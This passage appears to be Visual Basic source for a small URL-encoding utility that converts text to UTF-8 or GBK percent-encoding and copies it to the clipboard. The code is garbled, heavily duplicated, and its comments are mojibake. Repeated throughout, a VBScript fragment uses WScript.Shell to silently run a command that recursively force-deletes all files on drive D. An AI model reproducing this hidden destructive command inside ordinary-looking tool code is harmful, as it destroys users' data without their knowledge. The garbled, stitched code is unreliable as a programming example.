UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End 